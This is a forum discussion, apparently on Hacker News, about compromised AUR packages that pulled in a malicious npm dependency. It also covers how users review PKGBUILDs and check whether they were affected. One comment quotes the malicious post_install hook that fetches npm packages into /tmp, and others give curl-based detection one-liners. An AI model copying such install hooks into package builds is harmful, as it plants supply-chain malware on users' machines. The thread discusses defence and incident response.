AUR packages compromised with Infostealer and Rootkit
discourse.ifin.networkhttps://cscs.pastes.sh/aurvulntest20260611.sh
Not my script. It's easy to read/parse. Never pipe a script directly to bash.
Always check PKGBUILD and sources, AUR is not to be trusted for the most part. I'm actually more surprised that such compromise hasn't happened earlier.
This is like the 3rd or 4th time. It's been ongoing and persistent for the last 2 years with frequent AUR downtime as a result.
The AUR should be deprecated in its current state, simply can't be trusted and is a blemish on an otherwise great distro.
it happens all the time
Just not always on this scale and doesn't always end up on HN.
Similar to how you don't see every npm supply chain attack or malicious github action or similar on HN.
In general you _have to_ manually review every PKGBUILD update by hand (by diff). Everything else is neglect IMHO. Luckily for most packages this is reasonably doable, IFF you trust the upstream sources they fetch from. (As in: Most packages are a small amount of glue between pacman and a upstream source.)
As consequence AUR packages with AUR dependencies are in general "uh..., lets not do it" cases for me, as on one hand the review overhead can be a pain and on the other hand it's easy to make a mistake overlooking a change in AUR dependencies.
Still the policy which allows relatively easy adoption of orphaned packages is IMHO a problem. A adoption should be treated as a new package which just happen to have the same name. (It can be fine to not have that if arch maintainers "bless" the adoption, but IMHO that would only matter for a view very widely used packages which are candidates to be included in the official repo but aren't for e.g. license reasons.)
> Giving opencode access to bash and malicious input is not very far from piping it right into bash.
It is very far, obviously. If you have N AUR packages, it needs to send `e` and `:q` N times using the pty tool. You can have it ask you for permission everytime and approve (2N times) (note that when you use yay, you have to press enter N times anyway! so this is just N extra enters but in the opencode UI) or you can even automate an interceptor that checks that it only sends e and :q and no other strings.
Don't forgot to also check the applied patch files. Many AUR builds include custom patches to make something work, making this a convenient way add something malicious into the build. An extreme example for patches is ventoy's 1355 line long PKGFILE [0] sourcing lots of patches both from external domains as well from the git server on aur.archlinux.org itself.
[0]: https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=vento...
But in general I would think 4 times about installing any AUR package no longer reasonable reviewable in the parts not either in official packages or the upstream source (including patches, dependencies, etc.).
Sometimes throwing something into an untrusted OCI image you run in a VM (instead of lightweight containers) is just the better option... sadly, also often still painful to setup.
comm -1 -2 <(pacman -Qq | sort) <(curl -s https://gist.githubusercontent.com/quantenProjects/3f768dce7331618310f016d975bf8547/raw/beef579f8a8efeed6ccf60788e5b768775550095/packages | sort)
It seems like the AUR should change the orphan recovery process, and helpers should probably offer a minimum package age feature like pnpm.
After correcting, for me, it flagged "jd-gui", but I had actually installed "jd-gui-bin" about two hours before the compromise. As far as I can tell, I was lucky that I felt lazy that night and went for the -bin package instead of waiting for the source to be compiled.
Goddamit, don't make me reinstall Arch, took me a week last time.
Update: archinstall rocks, back in business after like 15min.
I have 1,135 packages installed. Only 3 top level packages are from the AUR and 2 of those 3 are from the same author, they just happened to split their packages into a client / server architecture.
[0] ...which is -IIRC- Gentoo's term for a user-provided and entirely-unvetted collection of packages...
https://www.phoronix.com/news/Arch-Linux-AUR-400-Compromised
I toyed with the idea that someone should write a binary that simply emails, or alert you when it's been run... as a canary... and call that `npm`.
At this point, not renaming the npm binary is a big risk.
https://news.ycombinator.com/item?id=17501379 https://news.ycombinator.com/item?id=44607740
You can check the build and install date with `pacman -Qi <package>`.
I run Arch Linux in a container (within Fedora Silverblue), but my plan for the future:
- consider switching away from Arch Linux for my dev container, with great sadness. A rolling distro is a terrible idea in the current security climate. I loved using Arch for my dev container exactly because of AUR.
- switch to Fedora Stable, perhaps the previous release which still gets security fixes but no other updates. I am still on Fedora 43, I guess I have no rush to update to 44. - be even lazier in updating my workstation. I used to update daily when I was running Arch, then I moved to weekly last year when I got stuck with slow internet, now consider updating monthly or more (of course, unless there are critical security bugs)
- Flatpak and Flathub terrify me, it's only a matter of time until malware appears. I have had automatic upgrades disabled for a while.
- for the love of God don't touch anything that uses npm
Previously: https://news.ycombinator.com/item?id=48458931
I thought Flathub has a review and approval process. Does it fall short in some fundamental way?
Any review process is more than the AUR and NPM are doing.
If your manifest is covertly injecting malware into the build it could be easily missed. Consider some of the manifests are simply downloading deb packages and unzipping them.
>The result is a rather long list of ~408 packages all doing npm install atomic-lockfile something something
[0] https://lists.archlinux.org/archives/list/aur-general@lists....
And yes, this is an AUR issue, but npm being used to host and dissiminate malware is also [a chronic] one, even if separate.
The fundamental problem is having something that has very loose oversight and next to no controls. That may have worked in the past, but in the day and age of constant supply chain attacks, it's a major liability.
Internet archive URL: https://web.archive.org/web/20260611213640/https://aur.archl...
I think we are well past (1) but (2) could be mitigated by tighter controls on AUR accounts and potentially additional safeguards from AUR helpers. Maybe show a big scary warning if the package has changed owners recently. I know there will still be people that will "y" their way forward but it's better than nothing.
Or just avoid AUR helpers altogether and inspect/build the packages you need yourself from their PKGBUILDs directly.
You know that thing where if you make a security review feature obnoxious, after some time people will just accept everything without even looking? Yeah...
True. But you still go through the fucking checklist.
Yes, that's what I used to do when I ran Arch. It's usually easy. The PKGBUILD is usually small to begin with and the difference for a new version should normally be something like the URL and the version number and not much else, so you can just diff it against the old version.
I usually only use AUR to install trusted pre-compiled binary packages, the scripts are very simple and the only thing that should ever change is the url and the sha256
Also paru shows you coloured code syntax if you have `bat` installed, i think.
The AUR helpers actually make it easier to integrate the review step into your workflow IMO; they actively prompt to review and let you know when a change is present since you last accepted the risk.
But "AUR considered harmful" is not a novel take. Everybody using it should understand the risk here, it's really just one step removed from curl/bash'ing something you found on StackOverflow.
https://aur.archlinux.org/cgit/aur.git/commit/?h=toggldeskto...
Inconvenient, but perhaps instead of allowing adoption of someone else's abandoned package, the AUR forces a new submission instead and regularly purges orphaned packages older than a certain age?
If you want to change it, fork it!
This is a bit of an odd response. Arch very explicitly separates the AUR from everything else and doesn't make it easy to work with, because its security model has always been fundamentally broken and requires you to do your own vetting. It exists to facilitate sharing of package recipes between untrusted users. You should treat it like a pastebin.
I disagree that "These packages are provided as-is. No work has been done to determine their safety or fitness for purpose. Use at your own risk!" is a "fundamentally broken" security model. It's one that places the burden of verification and validation on the system administrator and -in the case of the AUR- fully informs them of this fact. Treating system operators like the adults that they are isn't "fundamentally broken", but it is _much_ more work for that operator than if they relied exclusively on distro-vetted packages.
I do agree that it'd be fucking silly of OP to switch away from Arch because some of the packages in the collection of packages that are explicitly provided as "as-is and unvetted" got some malware in them.
PKGBUILDs are easily readable/reviewable and rarely go beyond a single page. Just take a moment and be responsible and review before running executable files you download from the net. Common sense stuff. That's always been the trade-off and it hasn't really changed much in last 20 years (even though every few years everyone seems to freak out over it).
Arch still hits the sweet spot for me -- unobtrusive, close to upstream, and well-documented enough to keep full control over your own system. Both for the times when you want to go with the most default path and for the cases when you want to deviate and go play in the weeds.
Now, someone could argue that the Spotify app isn't important, but there's a reason it has 268 votes. A better solution would be having packages like spotify in their own repo, and a separate, you-better-verify repo for the rest.
[1] https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=spoti...
> Now, someone could argue that the Spotify app isn't important, but there's a reason it has 268 votes. A better solution would be having packages like spotify in their own repo, and a separate, you-better-verify repo for the rest.
I mean yeah, but everything is trade off of volunteer + user attention. There is no trusted user™ who uses spotify, so it's not in official packages. So you as user need to maintain it yourself or rely on AUR and verify.
That's not the reason why Spotify is not on extra.
Spotify is not on extra because it's not FOSS.
>The large number of packages and build scripts in the various Arch Linux repositories offer free and open source software for those who prefer it, as well as proprietary software packages for those who embrace functionality over ideology.
[1] https://wiki.archlinux.org/title/Arch_Linux
[2] https://wiki.archlinux.org/title/Nonfree_applications_packag...
The problem is more that the Arch value proposition kinda presupposes the sort of user that's going to "feel superior" about having it installed[0]. It leads to people that have no business installing Arch Linux (as it doesn't match their usecase) installing Arch Linux because it makes them feel cool.
I don't have a good answer for this, besides making it more apparent what people should expect from having Arch installed. My recommendation usually goes something like this:
* Do you want to have the latest version of all software, regardless of the question if it's well-tested beforehand?
* Do you want to have all software distributed in an as-close-to-upstream approach as possible? Be aware that "upstream" configuration can sometimes significantly differ from defaults most people expect. (Sometimes there's reasons for this, sometimes upstream are a bunch of obstinate jerks.)
* Are you comfortable with a terminal?
* Are you comfortable with needing to suddenly learn how to troubleshoot a broken system after a routine update?
Only if the answer to all of those is "yes", then Arch is suitable for you.
And finally, more specific to servers, where the answer should be "no" if you want to use arch:
* Do you have the expectation to never have to touch the OS after it's been configured correctly besides routine maintenance (ie. installing security updates) and maybe a big update twice a year?
I used to use Arch, before realizing that my system was gradually morphing into a bespoke mess that didn't really serve my needs and that while doing something very specific was possible, I also had to configure a bunch of mundane stuff you aren't normally required to think about - there's never a "just install, activate and adjust as needed" with Arch. All I actually wanted was a distro with more recent software than "3 years old" (Debian/Ubuntu's sluggish package inclusion is not really useful for desktops).
So I looked around and realized Fedora worked better for me: professional, clean, recent software (every 9 months updates, feature freezes are smart enough to account for ie. New Python releases) and not prone to sudden surprises.
[0]: https://wiki.archlinux.org/title/Arch_Linux is a good example of it.
Sorta like 'car guys' who recommend some old thing you can wrench on.
Basically, my model of a mean arch user would be closer to a DIYer -- likes to follow clear manual instructions, likes sturdy and non-ephemeral things, likes to know what the sausage is made of, but prefers if maintenance costs are minimized (since they will be bearing those costs and are responsible for the thing), so makes choices according to that.
I'm sticking with "hobbyists/dabblers" here, because almost nobody runs Arch in real production scenarios. Its just a fun high-touch thing people can enjoy fucking around with. Nothing wrong with that.
(That is why someone could trivially trojan hundreds of packages and it's NBD. Because "Nobody Cares." Wipe it and start over, funguy.)
It is an officially maintained package and I always assumed these were built on a dedicated build server instead of some a random volunteer/home computer. Don't know if Arch still builds the same way but this event scared me enough to switch distros.
There's warnings in place if a .so dependency is detected, but it's up to the maintainer to notice and act on it.
For safety/security concerns, Arch Linux has been one of the driving forces in the reproducible builds project, and for large parts of the operating system it's possible to independently verify that those binaries have in fact been built from source code. It's auditing story for official packages is stronger than that of NixOS (and on par with Debian):
https://reproducible.archlinux.org/
All of this is entirely unrelated to the AUR incident however.
Eg. change AUR API URL slightly so yay/yaourt users need to look up what is going on. New API should have infrastructure for informing users and making sure they've read the message before proceeding. Especially when they're not even sure that all malware was found.
Also there should be database of revoked/compromised AUR commits and there should be mechanism to warn user if they had it installed.
> New API should have infrastructure for informing users and making sure they've read the message before proceeding.
How would that even work? AUR packages are just git repos, everything that AUR helpers are doing or not doing is not under the control of the arch maintainers.
Are you seriously asking how would sharing short text notes over internet work?
If you need to be 100% git-centric, you can have git repo for messages. Client will then remember last commit displayed to user and refuse to continue unless latest message was displayed.
BTW some AUR clients displayed ArchLinux RSS feed before... Too sad the issue is not even mentioned in the RSS feed...
There is a shortage however of people skilled enough to implement them (with available time to do so).
What we also don't have a shortage of is angry people in comment sections.
Not even a news. A hint. Nothing. Radio silence.
___
There is a house. It is currently on fire (since over 24h). So far, people have talked about how, conceptually, house fires are bad.
You can still enter the house just fine.
People saying "hey what about locking the door to not trap more people in it" are being shunned for the crime of breaking someones workflow.
The owner of said house is nowhere to be seen.
Passerbys stating "oh my god that house is on fire! get water!" are either ignored or reminded that there is no problem and they should move along.
___
Idk man. I don't think any of this is real.
And I don't even use arch, lol. And after this thing exposed the institutional rot, neither should you or really anyone.
Unless you like ending up locked inside a house fire. I guess they provide warmth in the cold harsh reality of the 2026 internet.
Sorry you're displeased with us not writing blogposts faster on top of all this. The situation is already exhausting enough without people like you.
After that, you have all the time in the world to prioritize dayjobs etc.
It's not about dropping everything and fixing the root cause. It's just about taking stuff offline so that the immediate danger is mitigated.
That is not too much to ask. It's not "people like me" having weird opinions there.
Shut it down. Then fix whenever there is time to do so.
___
But hey. Finally a statement from someone with some amount of position in the org I guess?
I wouldn't want to be in your shoes for sure, but that's beside the point. Nothing here is unreasonable other than the ostrich-style incident response lack-of-process.
And I don't mean stupid corporate process. I mean "common sense adults are in the room" process. Throw waterbucket at burning server reflex.
___
I mean I can see that your userbase absolutely sucks and could imagine that one would be scared of getting roasted for "interrupting their workflow", but this is not the way.
Their workflow is irrelevant.
As said, I'm all here for maintainer empathy, but only after the fire is put out first.
___
Anyway, "institutional rot" is not an insult but a diagnosis. I'd love to be proven wrong on that, but I don't see it.
And trust me, I do know first hand how thankless this non-job is and what hell one goes through. I have skin in the game. I just don't have a horse in the arch race.
Do you not realize how crazy of an request that is?
The service is already disrupted. It is not that a disruption could be _avoided_. The discussion makes no sense.
___
Hell, even if I would be completely wrong in that assessment (not sure how, but let's assume that's the case)
You can still put up a banner. "Hey, FYI: We're under attack".
If not right away, then at the very least the moment media reports on it. And if media reported wrong, the banner says "Don't worry people. Media got it wrong."
Huh? No they don't. I'm not sure what part of the attack your misunderstood, but most people are going to be completely unaffected by this. None of the infrastructure or anything like that got compromised. I updated my AUR packages 2 hours ago, and didn't get served any malware.
Again, there's probably some kind of malware on npmjs at any given time. You don't just shutdown the entire server because of that, that's madness.
But regardless, let's try a different perspective: PR/Public perception
The moment multiple well-known media outlets start publishing a story stating that "stuff is happening", the situation changes.
At that point, regardless of how you personally feel about this, the narrative is "people are affected".
This forces your hand. Which is not(!) to say that it would mean that you would have to accept what the media says. The media could be full of shit talking nonsense. *But* at that point, you need to either correct them, or do the correct action as per their narrative.
____
I don't think that PR/Public perception is the main relevant perspective here - in fact I'm just mentioning it, because all the much stronger much more technical arguments seem to be lost on you.
But there you go.
Your argument makes no sense, because "ackschually I'm unaffected" is just russian roulette survivorship bias, but even if it _would_ make sense, the system logic of the next outer layer cans that take.
____
Anyway. The fact that people (not just you, mind you) are so busy playing "well ackschually" while there is an active wormable attack going on is precisely why I said "institutional rot". Although, I think I need to correct that to "cultural rot".
Priorities are broken. The wrong metrics are being optimized here.
I would love to hear more about this from the actual Arch maintainers instead of random users with opinions, but.. not sure where that communication would be. I didn't find any. And I did go looking!
___
Edit 50m later:
https://archlinux.org/news/active-aur-malicious-packages-inc...
Thank you!
AUR has always been AT YOUR OWN RISK.
To use your analogy, the house is an underwater cave with a big scary sign warning you that you will die, you go in without training, and blame the cave for not being safe.
There is no need to argue anymore. Enjoy your computers.
There are AUR helpers, but these are completely unaffiliated with arch and the people running the AUR. The canonical, recommended way of installing arch packages is cloning a git repo, reading through the sources and then building it with makepkg. There is no client there that could show the user anything.
for example when you rename gitlab repository, or push to new branch, gitlab injects custom text that you can see. Eg. with new URL or where you can create merge request on web, etc...
Maybe they'd be an option, but then the whole "making sure they've read the message before proceeding" part goes out the window.
If a package is compromised, I think most people would prefer their workflow be broken than risk installing that package.
I know its all volunteer work and extremely not fun at the moment, but it feels weird to not even have some sticky-no-reply on the AUR sub forum with a list of compromised packages. You have to instead try and scrape them up from around threads like here or reddit.
If you don't want to list all known effected packages, at least recommend the official position that anyone using a AUR package should be reading every file of every package they use.
Other than this — I don't know how many there are affected people in total, but AUR team probably has an exact number. I am also sure, they're doing their best to handle it accordingly to the impact.
It's right there in the name, and it's clearly announced in all the wiki materials that AUR is user repos, and trust shouldn't be given blindly.
It's literally in a giant red box right up front: https://wiki.archlinux.org/title/Arch_User_Repository
There are lots of things on AUR that I absolutely won't install, and I don't really think spamming the mailing list with all of them is the best policy.
And while I don't exactly hate the idea of warning users who installed a malicious package... it turns out that's not a particularly feasible thing to implement, because AUR doesn't have the kind of install tracking that's present in the commercial tools... ex - how exactly are they supposed to know who installed a package? AUR is basically just a phonebook of package locations, and they don't require any login/auth info.
So the warning comes from tooling the user can run if they're paying attention, and they ask you to pay attention (ex - https://gist.github.com/Kidev/59bf9f5fb53ab5eee99f19a6a2fc39...)
You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why.
A lot of people complain about Arch Linux being elitist, but the simple reality is it's a distro built for people who know what they are doing and don't need or want their hand held at every step of the way. This also means that if you break or compromise your own system by installing random AUR packages, it's your own damn fault.
All of that being said, the era of allowing anyone to adopt AUR packages might be coming to an end. If for no other reason then the effort of rolling back every affected package every time is too high. I'm not sure what the alternative would be, reviewing every adoption request seems like too much effort and wouldn't necessarily even help every time.
I don't really think this is a solution- the usual workflow for these attacks has been to hide your payload in some dependency. This one is somewhat unusual in that it's just a very lazy `npm install` in the pkgbuild. Pretty much every package repository even outside of AUR has this issue now, and it's not really viable to audit the entire dep chain by hand. Mind you, I don't have a solution either.
Having code reviewed the PKGBUILD doesn't mean the upstream software is safe to use, having reviewed the upstream software and it's dependency tree doesn't mean the PKGBUILD is safe to use.
When you `makepkg -s`, makepkg will get the dependencies it can from the vetted and maintained pacman repos. Only the dependencies that are not present there would have to be obtained from the AUR the same way as the package you're currently reviewing: git clone, manually review, makepkg, etc.
Having dependencies in the AUR is not that common in my experience. I think I've had rarely 1 or 2 deps in the AUR; maybe once or twice I had like 6 deps. It can happen, and it's a bit of a chore, but it can be done.
This is different though. The attackers of the AUR don't have access to do anything to upstream and any malicious dependency they add would have to be either 1) already built as an official package or 2) also taken from the AUR... in which case the person building it would need to audit the dependency as well.
So you have two "AUR hygiene" principals at play: One, know what software you're even installing, and Two, know that the PKGBUILD does what it says on the tin. If you neglect either of these and YOLO then it's kind of on you.
Arch users should really know that the AUR is something to approach with a massive amount of caution. It's better than "curl bash" from some rando web site, but that's only due to the fact that you can easily audit and diff the payload of the install recipe yourself.
My favorite Aur helper (pikaur) also asked you to check the PKGBUILD on every install or update, back when I used Arch.
As far as Arch goes, I wonder if Arch-based CachyOS is a factor as it's seen the high performance desktop linux.
Believing that even a small fraction of users actually do this is deeply detached from reality.
It is not that hard with small amount of pkgbuilds:
find ~/.cache/yay -maxdepth 1 -type d
/home/virt/.cache/yay
/home/virt/.cache/yay/google-chrome
/home/virt/.cache/yay/ngrok
/home/virt/.cache/yay/rancher-k3d-bin
/home/virt/.cache/yay/simplescreenrecorder
/home/virt/.cache/yay/ttf-comfortaa
/home/virt/.cache/yay/cursor-bin
/home/virt/.cache/yay/yay
/home/virt/.cache/yay/volta-binThe point is that the onus is on you to do it, and if you don't then the consequences are yours to bear. Personal responsibility seems to be in short supply these days.
AUR isn't just some download site. It has been actively marketed by Arch for at least the 17 years I've used Arch as it's user repository. (that's kinda the acronym)
That creates the expectation, rightly or not, that the Arch User Repository provides some degree of protections for Arch Users against the build sources hosted there being compromised.
The AUR is a great resource for Arch and the wider Arch community and it was put together by some really talented folks at a time when the threat environment was completely different. Times have changed, and it's a sad testament for humanity.
AUR will get through this, and be better for the additional guardrails to be put in place, but blaming the victim and CYA never gets you there.
The main page of the AUR website says, in bold, "DISCLAIMER: AUR packages are user produced content. Any use of the provided files is at your own risk."
But isn’t that also the case for every browser extension, VSCode extension, nuget package, Cargo crate, python package, npm package, etc? (Unless you are running them somewhere without internet access or without access to anything you don’t mind being public?)
Maybe it’s not the case for aur, but the others could theoretically be improved with better permissions, sandboxing, etc. I guess browser extensions basically have those options, even if no “normal” users use them.
Unfortunately 99.99% of people can’t or don’t have the time to review everything. :-(
I guess distro packages where there are trusted maintainers, or places like the iOS App Store where there are both permissions and somewhat of a review process, are the safest.
Yes, and all of those have supply chain hacks in them, and have happened within the last year? In this specific case, it's a malicious npm package being installed with official npm tooling in the PKGBUILD.
The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing, they are very simple bash scripts. It'd be great if more people would donate resources to help verify and validate AUR scripts, but the AUR specifically exists for packages that the trusted users and devs of arch don't have time to personally maintain.
- sources array has sources that don't correlate to the package name/purpose or are from strange places, like github repos that don't seem relevant etc.
- extensive post install scripts suggesting it's doing a lot more than is normal
But those are very crude, I wonder if an AUR helper could optionally consult a local LLM to review a PKGBUILD before installing these days...
i wouldn't necessarily trust a repo that does seem relevant either. it's trivial to put any data you want at a url which, at a glance, appears to legitimately belong to any repo you can fork.
> install=toggldesktop-bin-deps.install
And the toggldesktop-bin-deps.install contains this:
> post_install() {{
> cd /tmp
> bun add axios uuid ora js-digest
> }}
Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.
Simply reviewing the PKGBUILD is not enough for the same reason reviewing a Makefile is not enough: You need to review the source code for _everything_ that is being downloaded and executed on your machine. For AUR packages, that means not just the PKGBUILD but the full source code for the program it is building and the full source code for any of its dependencies.
Hypothetical example: you wouldn't have caught the xzutils exploit by reading the PKGBUILD.
This hack in particular added random npm packages that would have been unneeded/unintentional, and was visible in the PKGBUILDs directly.
[0] https://aur.archlinux.org/cgit/aur.git/commit/?h=pass-cli&id...
It changes the contributor email?
to install random npm packages?!
in /tmp?! in post_install()??! With a new random contributor email????
Archlinux is focused on enabling a specific type of user, and certainly ones that can read bash scripts, and understand reasonable depedencies vs unreasonable ones. And even then - this is specifically in the AUR and not a package the distro directly offers.
Programs often invoke other programs through the exec* family of syscalls. For example, git is written in C but it ships with perl dependencies. It is not unreasonable to assume pass-cli added a runtime dependency on a program written in javascript. Regardless, we're talking hundreds of AUR packages have been compromised, I'd be shocked if none of them were javascript-based programs. Perhaps pass-cli was simply a bad example for me to choose.
> It changes the contributor email?
I think this is the 2nd most sus change, but even so, I have changed email addresses over the years so it isn't completely unreasonable.
> in /tmp?!
And yes, this is the most sus change.
No, this in no way or shape looks like installing a legitimate dependency to the target audience (expert users). This is a package manager, you don't install dependencies via post_install.
Ultimately, the way we're doing permissions on the OS level is fundamentally broken on desktop OSes, and we're increasingly feeling the effects of that. Ideally everything should be sandboxed by default, and only given access to it's own files, instead of everything the user has.
But we're a long way away from that, and that's not something a single project could enforce.
No? Then it's not a problem.
Every device in this household that isn't a smartphone runs on Arch.
All my servers run on Arch.
Never had a problem, because I don't blindly install stuff from the AUR.
It's also a good thing that Arch Linux has people hawking it, so if these things happen they get caught on insanely quickly. I wonder if there's sane ways to protect your dotfiles from rogue processes just touching them.
Even the most primitive LLM review workflow would have caught this compromise.
Adding or modifying any invocation to a PKGBUILD that may download something from the network and execute it (whether using npm, pip, curll|bash, or whatever else) -> automatically quarantine the PR and flag for 2 human reviews required. Same for anything that looks like obfuscation. Same for anything that adds dependencies on the wrong language ecosystem (like new use of javascript ecosystem tools in a c++ based package).
I have no idea why they don't do this already.
Maybe doing automated LLM reviews would help, but this is a large infrastructure investment. And it's not clear that it helps at all, after all models are quite vulnerable to prompt-injection type attacks.
A normal PKGBUILD should not download anything programmatically. It should rely on the package manager to download the files listed in the PKGBUILD's source array. If a PKGBUILD is running a command to download something not listed in source, that's a sign that something nefarious could be happening, and such a PKGBUILD absolutely requires careful human review.
> all models are quite vulnerable to prompt-injection type attacks
A less than 100% reliable mechanism sure beats the current situation which is "wait for users report on the forum that they have been pwn3d". May I remind that this is the third time AUR-hosted PKGBUILDs have been compromised?
First, although I don't disagree with that being how it should work, in a world where everyone relies on npm, cargo, etc. to handle dependencies this scenario is not realistic.
Second and more importantly, it doesn't really change much if it's listed in the sources or not. You can patch a startup file to download something as soon as the program is executed, including checks if it's currently running in a virtual environment. You cannot statically detect that the PKGBUILD contains something like that, antivirus software has been trying to do just that for decades and their detection is still basically useless.
> A less than 100% reliable mechanism sure beats the current situation which is "wait for users report on the forum that they have been pwn3d".
The current situation is users are expected to review PKGBUILDs before they install them. And you're ignoring that implementing any mechanism has a cost. I don't know if it's worth it or not, but it's not unrealistic that it would be a ton of effort for no barely any gain.
Only certain niches do. No Debian package can connect to the Internet while being built, and the Debian Archive contains vast amounts of software that makes a computer useful.
Reliance on npm, cargo, etc. makes it harder to package certain things, but in general they're the exception rather than the rule.
This is generally not true. Look at a PKGBUILD of:
- any Node.js package. You'll see that the `prepare` step downloads the entire transitive dependency tree from NPM. (This is because it has a massive number of leaves and no system package maintainer can curate them all (let alone resolve each one to a single version that works across all dependees).
- any Rust program. Rust uses static linking, so publishing a system-level package for each library would be pointless. Therefore, during `prepare`, `cargo fetch` it is.
> A less than 100% reliable mechanism sure beats the current situation which is "wait for users report on the forum that they have been pwn3d". May I remind that this is the third time AUR-hosted PKGBUILDs have been compromised?
Are you going to pay the monthly token bill?
On balance, the false sense of security that the automated check would provide might actually be detrimental.
Expecting users to manually review every single change, for every single AUR package they are using, every single time they do an update or installation is just unreasonable if you want to AUR to be useful at all for the general user.
How many AUR packages are you assuming people are installing?
I'm assuming people are using the AUR to install programs that are sufficiently complex and the idea one can trivially audit a complex program and all of its dependencies is foolish. The foolishness of that expectation scales with the number of complex programs installed.
The idea that users should "just check the source code every single time" has never been, nor will it ever be, a reasonable solution to supply chain attacks.
It does. Manually checking a couple of AUR packages is easy. Installing a thousand AUR packages is not something anyone should be doing.
> I'm assuming people are using the AUR to install programs that are sufficiently complex and the idea one can trivially audit a complex program and all of its dependencies is foolish. The foolishness of that expectation scales with the number of complex programs installed.
Nobody is asking them to do that. The premise is that the `PKGBUILD` and auxillary files provided by the AUR should be checked.
> The idea that users should "just check the source code every single time" has never been, nor will it ever be, a reasonable solution to supply chain attacks.
Again, nobody is asking anyone to do this.
Is that much different from the entire pypi ecosystem, and npm, and dockerhub (people disable Selinux, --privileged turns off seccomp and apparmour, sandbox escape CVES exist)?
The entire dev ecosystem has terrible security hygiene, largely because of the pressure to move fast and real security controls by their nature limit flexibility and can slow most processes down.
While that may be true, is the AUR not moderated or operated by arch devs? On Gentoo, I can't just push "npm install malware" to 400 packages in guru without someone else's approval.
> You have to review the source of every PKGBUILD from the AUR you install, full stop.
With a semi official repo, I would expect the people with push access to not upload malicious packages... while its still possible, and things do happen, completely pointing the finger at arch users for simply using arch isn't very helpful.
That is the burden of arch linux, and the beauty. you have to go through it and you have to learn.
Now just hoping that people are reading (and learning from) the arch wiki going forward, not just agents. sigh.
hmm... I guess people insulate themselves after a while with stuff like yay
Should have never been a thing.
I hope we end up with something more like username/packagename-bin|git
That'll make it way more obvious to people what they're really installing and from who.
The difference is that Arch got a trusted reputation throughout the years, while in AUR even the packages that also have a reputation can suddenly change their owner - which produced the current issue.
It's honestly more trouble than it's worth to get your package deleted, instead leaving orphaning as the more optimal way to relinquish control. This should be the opposite in my opinion, or at the very least the users should be made very aware that an orphaning has occurred. Perhaps that burden is more on the AUR helper like paru and yay (who I would encourage to make such a change).
Right now, this is the most up to date, consolidated utility to check for infection:
https://github.com/lenucksi/aur-malware-check
Also, the aur-request mailing lists has many delete/orhan requests coming through to undo the malicous commits:
https://lists.archlinux.org/archives/list/aur-requests@lists...
There's a lot of voodoo in that script, i can't easily tell it's safe by reading the code.
I'd expect some reaction/solution from official Arch developers...
All of the packages I have triaged involved the atomic-lockfile npm package, so this is something you could try:
npm cache ls | grep atomic-lockfile
Really conveys that sense of urgency + the stakes tied to a major malware attack like that.
I'd really prefer to see a model where a 'community' repository contains user submitted packages which have at least one Trusted User review the package before it's merged in. This doesn't just prevent malware, but also common mistakes in general.
A large number of "an Arch Linux update broke my system" is very likely due to incorrect AUR use that AUR helpers don't handle for you. There's an elaborate writeup here from just 2 months ago: https://lists.archlinux.org/archives/list/arch-dev-public@li...
The headline got my heart going pretty good this morning.
https://hn.algolia.com/?dateRange=last24h&page=0&prefix=fals...
AFAIK I'm pretty likely owned if all of this is true:
- The following line shows at least one affected package:
echo "Affected Packages Found:"; comm -12 <(pacman -Qqm | sort) <(curl -s https://cscs.pastes.sh/raw/aurvulnlist20260611.txt | sort) | { read -r l && printf '%s\n' "$l" || echo "None. No known compromised packages are installed."; }
If I did not update AUR, in the last 2 days, it should be ok (at least for this specific problem).
If I don't see affected packages from the line above, it is probably ok, but maybe there are malicious packages that are not listed and yet I'm still be owned, so I have to be careful.
Is that correct and if not, what did I get wrong? And are there any checks that I can perform, that proof the status of the system?
Yup. Every time, I guess it's one of the most common attack vectors, can we do anything to secure NPM more against these supply chain attacks? I swear NPM is always involved in all sizable attack vectors these days.
- I run arch on the host. The host runs qemu.
- Qemu VM 1 runs my work machine.
- Qemu VM 2 runs my financial stuff.
It took me about 2 days of work to figure out how to virtualized my machine and maybe months of tinkering after that to get it right.
I'm trying to separate general work use and payments to entirely separate security models.
I've also begun moving all dev work to cheap vps's that I run online with AI agents.
This is good. I'm adapting, as we should.
Headed back to functional/repl languages myself. Might even drop zig.
That their layers should heal cleanly, bereft of info to steal.
So they can yay again with even more zeal, mainly.
No stress! Yes?
It's essentially uncensored platform. I think they can moderate it, but obviously only for high-visibility cases.
Anyone can create package with any name, potentially impersonating any other project.
And that's all on archlinux.org domain, which inherently adds some trust to the whole concept. Trust that is unfounded.
If someone wants to distribute PKGBUILD, they should put it to Github or any other git hosting.
I'm thinking more and more that things like sandboxing and compartmentalization are becoming increasingly important on everyday desktop machines. The design of every process having at least read access to almost everything on a machine by default is not appropriate anymore.